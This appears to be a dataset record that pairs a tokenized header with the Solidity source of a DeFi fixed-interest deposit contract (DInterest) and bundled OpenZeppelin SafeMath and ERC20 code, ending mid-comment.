[ 101, 1014, 2595, 2683, 27814, 16932, 2063, 2620, 7959, 2278, 20958, 17134, 2546, 27009, 26224, 2629, 2497, 2487, 2497, 2581, 2063, 23352, 2683, 2581, 2575, 2094, 2620, 16147, 2063, 2581, 16703, 2549, 2063, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5511, 1011, 2340, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5718, 1011, 2459, 1008, 1013, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,666
0x95816fa25d54061086d4f4ad9a48fdbe9068e541
pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./libs/DecMath.sol"; import "./moneymarkets/IMoneyMarket.sol"; import "./models/fee/IFeeModel.sol"; import "./models/interest/IInterestModel.sol"; import "./NFT.sol"; import "./rewards/MPHMinter.sol"; import "./models/interest-oracle/IInterestOracle.sol"; // DeLorean Interest -- It's coming back from the future! // EL PSY CONGROO // Author: Zefram Lou // Contact: [email protected] contract DInterest is ReentrancyGuard, Ownable { using SafeMath for uint256; using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; // Constants uint256 internal constant PRECISION = 10**18; uint256 internal constant ONE = 10**18; uint256 internal constant EXTRA_PRECISION = 10**27; // used for sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex // User deposit data // Each deposit has an ID used in the depositNFT, which is equal to its index in `deposits` plus 1 struct Deposit { uint256 amount; // Amount of stablecoin deposited uint256 maturationTimestamp; // Unix timestamp after which the deposit may be withdrawn, in seconds uint256 interestOwed; // Deficit incurred to the pool at time of deposit uint256 initialMoneyMarketIncomeIndex; // Money market's income index at time of deposit bool active; // True if not yet withdrawn, false if withdrawn bool finalSurplusIsNegative; uint256 finalSurplusAmount; // Surplus remaining after withdrawal uint256 mintMPHAmount; // Amount of MPH minted to user uint256 depositTimestamp; // Unix timestamp at time of deposit, in seconds } Deposit[] internal deposits; uint256 public latestFundedDepositID; // the ID of the most recently created deposit that was funded uint256 public unfundedUserDepositAmount; // the deposited stablecoin amount (plus interest owed) whose deficit hasn't been funded // Funding data // Each funding has an ID used in the fundingNFT, which is equal to its index in `fundingList` plus 1 struct Funding { // deposits with fromDepositID < ID <= toDepositID are funded uint256 fromDepositID; uint256 toDepositID; uint256 recordedFundedDepositAmount; // the current stablecoin amount earning interest for the funder uint256 recordedMoneyMarketIncomeIndex; // the income index at the last update (creation or withdrawal) uint256 creationTimestamp; // Unix timestamp at time of deposit, in seconds } Funding[] internal fundingList; // the sum of (recordedFundedDepositAmount / recordedMoneyMarketIncomeIndex) of all fundings uint256 public sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex; // Params uint256 public MinDepositPeriod; // Minimum deposit period, in seconds uint256 public MaxDepositPeriod; // Maximum deposit period, in seconds uint256 public MinDepositAmount; // Minimum deposit amount for each deposit, in stablecoins uint256 public MaxDepositAmount; // Maximum deposit amount for each deposit, in stablecoins // Instance variables uint256 public totalDeposit; uint256 public totalInterestOwed; // External smart contracts IMoneyMarket public moneyMarket; ERC20 public stablecoin; IFeeModel public feeModel; IInterestModel public interestModel; IInterestOracle public interestOracle; NFT public depositNFT; NFT public fundingNFT; MPHMinter public mphMinter; // Events event EDeposit( address indexed sender, uint256 indexed depositID, uint256 amount, uint256 maturationTimestamp, uint256 interestAmount, uint256 mintMPHAmount ); event EWithdraw( address indexed sender, uint256 indexed depositID, uint256 indexed fundingID, bool early, uint256 takeBackMPHAmount ); event EFund( address indexed sender, uint256 indexed fundingID, uint256 deficitAmount ); event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); event ESetParamUint( address indexed sender, string indexed paramName, uint256 newValue ); struct DepositLimit { uint256 MinDepositPeriod; uint256 MaxDepositPeriod; uint256 MinDepositAmount; uint256 MaxDepositAmount; } constructor( DepositLimit memory _depositLimit, address _moneyMarket, // Address of IMoneyMarket that's used for generating interest (owner must be set to this DInterest contract) address _stablecoin, // Address of the stablecoin used to store funds address _feeModel, // Address of the FeeModel contract that determines how fees are charged address _interestModel, // Address of the InterestModel contract that determines how much interest to offer address _interestOracle, // Address of the InterestOracle contract that provides the average interest rate address _depositNFT, // Address of the NFT representing ownership of deposits (owner must be set to this DInterest contract) address _fundingNFT, // Address of the NFT representing ownership of fundings (owner must be set to this DInterest contract) address _mphMinter // Address of the contract for handling minting MPH to users ) public { // Verify input addresses require( _moneyMarket.isContract() && _stablecoin.isContract() && _feeModel.isContract() && _interestModel.isContract() && _interestOracle.isContract() && _depositNFT.isContract() && _fundingNFT.isContract() && _mphMinter.isContract(), "DInterest: An input address is not a contract" ); moneyMarket = IMoneyMarket(_moneyMarket); stablecoin = ERC20(_stablecoin); feeModel = IFeeModel(_feeModel); interestModel = IInterestModel(_interestModel); interestOracle = IInterestOracle(_interestOracle); depositNFT = NFT(_depositNFT); fundingNFT = NFT(_fundingNFT); mphMinter = MPHMinter(_mphMinter); // Ensure moneyMarket uses the same stablecoin require( moneyMarket.stablecoin() == _stablecoin, "DInterest: moneyMarket.stablecoin() != _stablecoin" ); // Ensure interestOracle uses the same moneyMarket require( interestOracle.moneyMarket() == _moneyMarket, "DInterest: interestOracle.moneyMarket() != _moneyMarket" ); // Verify input uint256 parameters require( _depositLimit.MaxDepositPeriod > 0 && _depositLimit.MaxDepositAmount > 0, "DInterest: An input uint256 is 0" ); require( _depositLimit.MinDepositPeriod <= _depositLimit.MaxDepositPeriod, "DInterest: Invalid DepositPeriod range" ); require( _depositLimit.MinDepositAmount <= _depositLimit.MaxDepositAmount, "DInterest: Invalid DepositAmount range" ); MinDepositPeriod = _depositLimit.MinDepositPeriod; MaxDepositPeriod = _depositLimit.MaxDepositPeriod; MinDepositAmount = _depositLimit.MinDepositAmount; MaxDepositAmount = _depositLimit.MaxDepositAmount; totalDeposit = 0; } /** Public actions */ function deposit(uint256 amount, uint256 maturationTimestamp) external nonReentrant { _deposit(amount, maturationTimestamp); } function withdraw(uint256 depositID, uint256 fundingID) external nonReentrant { _withdraw(depositID, fundingID, false); } function earlyWithdraw(uint256 depositID, uint256 fundingID) external nonReentrant { _withdraw(depositID, fundingID, true); } function multiDeposit( uint256[] calldata amountList, uint256[] calldata maturationTimestampList ) external nonReentrant { require( amountList.length == maturationTimestampList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < amountList.length; i = i.add(1)) { _deposit(amountList[i], maturationTimestampList[i]); } } function multiWithdraw( uint256[] calldata depositIDList, uint256[] calldata fundingIDList ) external nonReentrant { require( depositIDList.length == fundingIDList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < depositIDList.length; i = i.add(1)) { _withdraw(depositIDList[i], fundingIDList[i], false); } } function multiEarlyWithdraw( uint256[] calldata depositIDList, uint256[] calldata fundingIDList ) external nonReentrant { require( depositIDList.length == fundingIDList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < depositIDList.length; i = i.add(1)) { _withdraw(depositIDList[i], fundingIDList[i], true); } } /** Deficit funding */ function fundAll() external nonReentrant { // Calculate current deficit (bool isNegative, uint256 deficit) = surplus(); require(isNegative, "DInterest: No deficit available"); require( !depositIsFunded(deposits.length), "DInterest: All deposits funded" ); // Create funding struct uint256 incomeIndex = moneyMarket.incomeIndex(); require(incomeIndex > 0, "DInterest: incomeIndex == 0"); fundingList.push( Funding({ fromDepositID: latestFundedDepositID, toDepositID: deposits.length, recordedFundedDepositAmount: unfundedUserDepositAmount, recordedMoneyMarketIncomeIndex: incomeIndex, creationTimestamp: now }) ); // Update relevant values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( unfundedUserDepositAmount.mul(EXTRA_PRECISION).div(incomeIndex) ); latestFundedDepositID = deposits.length; unfundedUserDepositAmount = 0; _fund(deficit); } function fundMultiple(uint256 toDepositID) external nonReentrant { require( toDepositID > latestFundedDepositID, "DInterest: Deposits already funded" ); require( toDepositID <= deposits.length, "DInterest: Invalid toDepositID" ); (bool isNegative, uint256 surplus) = surplus(); require(isNegative, "DInterest: No deficit available"); uint256 totalDeficit = 0; uint256 totalSurplus = 0; uint256 totalDepositAndInterestToFund = 0; // Deposits with ID [latestFundedDepositID+1, toDepositID] will be funded for ( uint256 id = latestFundedDepositID.add(1); id <= toDepositID; id = id.add(1) ) { Deposit storage depositEntry = _getDeposit(id); if (depositEntry.active) { // Deposit still active, use current surplus (isNegative, surplus) = surplusOfDeposit(id); } else { // Deposit has been withdrawn, use recorded final surplus (isNegative, surplus) = ( depositEntry.finalSurplusIsNegative, depositEntry.finalSurplusAmount ); } if (isNegative) { // Add on deficit to total totalDeficit = totalDeficit.add(surplus); } else { // Has surplus totalSurplus = totalSurplus.add(surplus); } if (depositEntry.active) { totalDepositAndInterestToFund = totalDepositAndInterestToFund .add(depositEntry.amount) .add(depositEntry.interestOwed); } } if (totalSurplus >= totalDeficit) { // Deposits selected have a surplus as a whole, revert revert("DInterest: Selected deposits in surplus"); } else { // Deduct surplus from totalDeficit totalDeficit = totalDeficit.sub(totalSurplus); } // Create funding struct uint256 incomeIndex = moneyMarket.incomeIndex(); require(incomeIndex > 0, "DInterest: incomeIndex == 0"); fundingList.push( Funding({ fromDepositID: latestFundedDepositID, toDepositID: toDepositID, recordedFundedDepositAmount: totalDepositAndInterestToFund, recordedMoneyMarketIncomeIndex: incomeIndex, creationTimestamp: now }) ); // Update relevant values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( totalDepositAndInterestToFund.mul(EXTRA_PRECISION).div(incomeIndex) ); latestFundedDepositID = toDepositID; unfundedUserDepositAmount = unfundedUserDepositAmount.sub( totalDepositAndInterestToFund ); _fund(totalDeficit); } function payInterestToFunder(uint256 fundingID) external returns (uint256 interestAmount) { address funder = fundingNFT.ownerOf(fundingID); require(funder == msg.sender, "DInterest: not funder"); Funding storage f = _getFunding(fundingID); uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); interestAmount = f .recordedFundedDepositAmount .mul(currentMoneyMarketIncomeIndex) .div(f.recordedMoneyMarketIncomeIndex) .sub(f.recordedFundedDepositAmount); // Update funding values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .sub( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); // Send interest to funder if (interestAmount > 0) { interestAmount = moneyMarket.withdraw(interestAmount); if (interestAmount > 0) { stablecoin.safeTransfer(funder, interestAmount); } } } /** Public getters */ function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds ) public returns (uint256 interestAmount) { (, uint256 moneyMarketInterestRatePerSecond) = interestOracle.updateAndQuery(); (bool surplusIsNegative, uint256 surplusAmount) = surplus(); return interestModel.calculateInterestAmount( depositAmount, depositPeriodInSeconds, moneyMarketInterestRatePerSecond, surplusIsNegative, surplusAmount ); } /** @notice Computes the floating interest amount owed to deficit funders, which will be paid out when a funded deposit is withdrawn. Formula: \sum_i recordedFundedDepositAmount_i * (incomeIndex / recordedMoneyMarketIncomeIndex_i - 1) = incomeIndex * (\sum_i recordedFundedDepositAmount_i / recordedMoneyMarketIncomeIndex_i) - (totalDeposit + totalInterestOwed - unfundedUserDepositAmount) where i refers to a funding */ function totalInterestOwedToFunders() public returns (uint256 interestOwed) { uint256 currentValue = moneyMarket .incomeIndex() .mul( sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex ) .div(EXTRA_PRECISION); uint256 initialValue = totalDeposit.add(totalInterestOwed).sub(unfundedUserDepositAmount); if (currentValue < initialValue) { return 0; } return currentValue.sub(initialValue); } function surplus() public returns (bool isNegative, uint256 surplusAmount) { uint256 totalValue = moneyMarket.totalValue(); uint256 totalOwed = totalDeposit.add(totalInterestOwed).add( totalInterestOwedToFunders() ); if (totalValue >= totalOwed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = totalValue.sub(totalOwed); } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = totalOwed.sub(totalValue); } } function surplusOfDeposit(uint256 depositID) public returns (bool isNegative, uint256 surplusAmount) { Deposit storage depositEntry = _getDeposit(depositID); uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); uint256 currentDepositValue = depositEntry.amount.mul(currentMoneyMarketIncomeIndex).div( depositEntry.initialMoneyMarketIncomeIndex ); uint256 owed = depositEntry.amount.add(depositEntry.interestOwed); if (currentDepositValue >= owed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = currentDepositValue.sub(owed); } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = owed.sub(currentDepositValue); } } function depositIsFunded(uint256 id) public view returns (bool) { return (id <= latestFundedDepositID); } function depositsLength() external view returns (uint256) { return deposits.length; } function fundingListLength() external view returns (uint256) { return fundingList.length; } function getDeposit(uint256 depositID) external view returns (Deposit memory) { return deposits[depositID.sub(1)]; } function getFunding(uint256 fundingID) external view returns (Funding memory) { return fundingList[fundingID.sub(1)]; } function moneyMarketIncomeIndex() external returns (uint256) { return moneyMarket.incomeIndex(); } /** Param setters */ function setFeeModel(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); feeModel = IFeeModel(newValue); emit ESetParamAddress(msg.sender, "feeModel", newValue); } function setInterestModel(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); interestModel = IInterestModel(newValue); emit ESetParamAddress(msg.sender, "interestModel", newValue); } function setInterestOracle(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); interestOracle = IInterestOracle(newValue); require( interestOracle.moneyMarket() == address(moneyMarket), "DInterest: moneyMarket mismatch" ); emit ESetParamAddress(msg.sender, "interestOracle", newValue); } function setRewards(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); moneyMarket.setRewards(newValue); emit ESetParamAddress(msg.sender, "moneyMarket.rewards", newValue); } function setMPHMinter(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); mphMinter = MPHMinter(newValue); emit ESetParamAddress(msg.sender, "mphMinter", newValue); } function setMinDepositPeriod(uint256 newValue) external onlyOwner { require(newValue <= MaxDepositPeriod, "DInterest: invalid value"); MinDepositPeriod = newValue; emit ESetParamUint(msg.sender, "MinDepositPeriod", newValue); } function setMaxDepositPeriod(uint256 newValue) external onlyOwner { require( newValue >= MinDepositPeriod && newValue > 0, "DInterest: invalid value" ); MaxDepositPeriod = newValue; emit ESetParamUint(msg.sender, "MaxDepositPeriod", newValue); } function setMinDepositAmount(uint256 newValue) external onlyOwner { require( newValue <= MaxDepositAmount && newValue > 0, "DInterest: invalid value" ); MinDepositAmount = newValue; emit ESetParamUint(msg.sender, "MinDepositAmount", newValue); } function setMaxDepositAmount(uint256 newValue) external onlyOwner { require( newValue >= MinDepositAmount && newValue > 0, "DInterest: invalid value" ); MaxDepositAmount = newValue; emit ESetParamUint(msg.sender, "MaxDepositAmount", newValue); } function setDepositNFTTokenURI(uint256 tokenId, string calldata newURI) external onlyOwner { depositNFT.setTokenURI(tokenId, newURI); } function setDepositNFTBaseURI(string calldata newURI) external onlyOwner { depositNFT.setBaseURI(newURI); } function setDepositNFTContractURI(string calldata newURI) external onlyOwner { depositNFT.setContractURI(newURI); } function setFundingNFTTokenURI(uint256 tokenId, string calldata newURI) external onlyOwner { fundingNFT.setTokenURI(tokenId, newURI); } function setFundingNFTBaseURI(string calldata newURI) external onlyOwner { fundingNFT.setBaseURI(newURI); } function setFundingNFTContractURI(string calldata newURI) external onlyOwner { fundingNFT.setContractURI(newURI); } /** Internal getters */ function _getDeposit(uint256 depositID) internal view returns (Deposit storage) { return deposits[depositID.sub(1)]; } function _getFunding(uint256 fundingID) internal view returns (Funding storage) { return fundingList[fundingID.sub(1)]; } /** Internals */ function _deposit(uint256 amount, uint256 maturationTimestamp) internal { // Ensure deposit amount is not more than maximum require( amount >= MinDepositAmount && amount <= MaxDepositAmount, "DInterest: Deposit amount out of range" ); // Ensure deposit period is at least MinDepositPeriod uint256 depositPeriod = maturationTimestamp.sub(now); require( depositPeriod >= MinDepositPeriod && depositPeriod <= MaxDepositPeriod, "DInterest: Deposit period out of range" ); // Update totalDeposit totalDeposit = totalDeposit.add(amount); // Calculate interest uint256 interestAmount = calculateInterestAmount(amount, depositPeriod); require(interestAmount > 0, "DInterest: interestAmount == 0"); // Update funding related data uint256 id = deposits.length.add(1); unfundedUserDepositAmount = unfundedUserDepositAmount.add(amount).add( interestAmount ); // Update totalInterestOwed totalInterestOwed = totalInterestOwed.add(interestAmount); // Mint MPH for msg.sender uint256 mintMPHAmount = mphMinter.mintDepositorReward( msg.sender, amount, depositPeriod, interestAmount ); // Record deposit data for `msg.sender` deposits.push( Deposit({ amount: amount, maturationTimestamp: maturationTimestamp, interestOwed: interestAmount, initialMoneyMarketIncomeIndex: moneyMarket.incomeIndex(), active: true, finalSurplusIsNegative: false, finalSurplusAmount: 0, mintMPHAmount: mintMPHAmount, depositTimestamp: now }) ); // Transfer `amount` stablecoin to DInterest stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Lend `amount` stablecoin to money market stablecoin.safeIncreaseAllowance(address(moneyMarket), amount); moneyMarket.deposit(amount); // Mint depositNFT depositNFT.mint(msg.sender, id); // Emit event emit EDeposit( msg.sender, id, amount, maturationTimestamp, interestAmount, mintMPHAmount ); } function _withdraw( uint256 depositID, uint256 fundingID, bool early ) internal { Deposit storage depositEntry = _getDeposit(depositID); // Verify deposit is active and set to inactive require(depositEntry.active, "DInterest: Deposit not active"); depositEntry.active = false; if (early) { // Verify `now < depositEntry.maturationTimestamp` require( now < depositEntry.maturationTimestamp, "DInterest: Deposit mature, use withdraw() instead" ); // Verify `now > depositEntry.depositTimestamp` require( now > depositEntry.depositTimestamp, "DInterest: Deposited in same block" ); } else { // Verify `now >= depositEntry.maturationTimestamp` require( now >= depositEntry.maturationTimestamp, "DInterest: Deposit not mature" ); } // Verify msg.sender owns the depositNFT require( depositNFT.ownerOf(depositID) == msg.sender, "DInterest: Sender doesn't own depositNFT" ); // Restrict scope to prevent stack too deep error { // Take back MPH uint256 takeBackMPHAmount = mphMinter.takeBackDepositorReward( msg.sender, depositEntry.mintMPHAmount, early ); // Emit event emit EWithdraw( msg.sender, depositID, fundingID, early, takeBackMPHAmount ); } // Update totalDeposit totalDeposit = totalDeposit.sub(depositEntry.amount); // Update totalInterestOwed totalInterestOwed = totalInterestOwed.sub(depositEntry.interestOwed); // Fetch the income index & surplus before withdrawal, to prevent our withdrawal from // increasing the income index when the money market vault total supply is extremely small // (vault as in yEarn & Harvest vaults) uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); require( currentMoneyMarketIncomeIndex > 0, "DInterest: currentMoneyMarketIncomeIndex == 0" ); (bool depositSurplusIsNegative, uint256 depositSurplus) = surplusOfDeposit(depositID); // Restrict scope to prevent stack too deep error { uint256 feeAmount; uint256 withdrawAmount; if (early) { // Withdraw the principal of the deposit from money market withdrawAmount = depositEntry.amount; } else { // Withdraw the principal & the interest from money market feeAmount = feeModel.getFee(depositEntry.interestOwed); withdrawAmount = depositEntry.amount.add( depositEntry.interestOwed ); } withdrawAmount = moneyMarket.withdraw(withdrawAmount); // Send `withdrawAmount - feeAmount` stablecoin to `msg.sender` stablecoin.safeTransfer(msg.sender, withdrawAmount.sub(feeAmount)); // Send `feeAmount` stablecoin to feeModel beneficiary if (feeAmount > 0) { stablecoin.safeTransfer(feeModel.beneficiary(), feeAmount); } } // If deposit was funded, payout interest to funder if (depositIsFunded(depositID)) { _payInterestToFunder( fundingID, depositID, depositEntry.amount, depositEntry.maturationTimestamp, depositEntry.interestOwed, depositSurplusIsNegative, depositSurplus, currentMoneyMarketIncomeIndex, early ); } else { // Remove deposit from future deficit fundings unfundedUserDepositAmount = unfundedUserDepositAmount.sub( depositEntry.amount.add(depositEntry.interestOwed) ); // Record remaining surplus depositEntry.finalSurplusIsNegative = depositSurplusIsNegative; depositEntry.finalSurplusAmount = depositSurplus; } } function _payInterestToFunder( uint256 fundingID, uint256 depositID, uint256 depositAmount, uint256 depositMaturationTimestamp, uint256 depositInterestOwed, bool depositSurplusIsNegative, uint256 depositSurplus, uint256 currentMoneyMarketIncomeIndex, bool early ) internal { Funding storage f = _getFunding(fundingID); require( depositID > f.fromDepositID && depositID <= f.toDepositID, "DInterest: Deposit not funded by fundingID" ); uint256 interestAmount = f .recordedFundedDepositAmount .mul(currentMoneyMarketIncomeIndex) .div(f.recordedMoneyMarketIncomeIndex) .sub(f.recordedFundedDepositAmount); // Update funding values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .sub( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); f.recordedFundedDepositAmount = f.recordedFundedDepositAmount.sub( depositAmount.add(depositInterestOwed) ); f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); // Send interest to funder address funder = fundingNFT.ownerOf(fundingID); uint256 transferToFunderAmount = (early && depositSurplusIsNegative) ? interestAmount.add(depositSurplus) : interestAmount; if (transferToFunderAmount > 0) { transferToFunderAmount = moneyMarket.withdraw( transferToFunderAmount ); if (transferToFunderAmount > 0) { stablecoin.safeTransfer(funder, transferToFunderAmount); } } // Mint funder rewards mphMinter.mintFunderReward( funder, depositAmount, f.creationTimestamp, depositMaturationTimestamp, interestAmount, early ); } function _fund(uint256 totalDeficit) internal { // Transfer `totalDeficit` stablecoins from msg.sender stablecoin.safeTransferFrom(msg.sender, address(this), totalDeficit); // Deposit `totalDeficit` stablecoins into moneyMarket stablecoin.safeIncreaseAllowance(address(moneyMarket), totalDeficit); moneyMarket.deposit(totalDeficit); // Mint fundingNFT fundingNFT.mint(msg.sender, fundingList.length); // Emit event uint256 fundingID = fundingList.length; emit EFund(msg.sender, fundingID, totalDeficit); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least 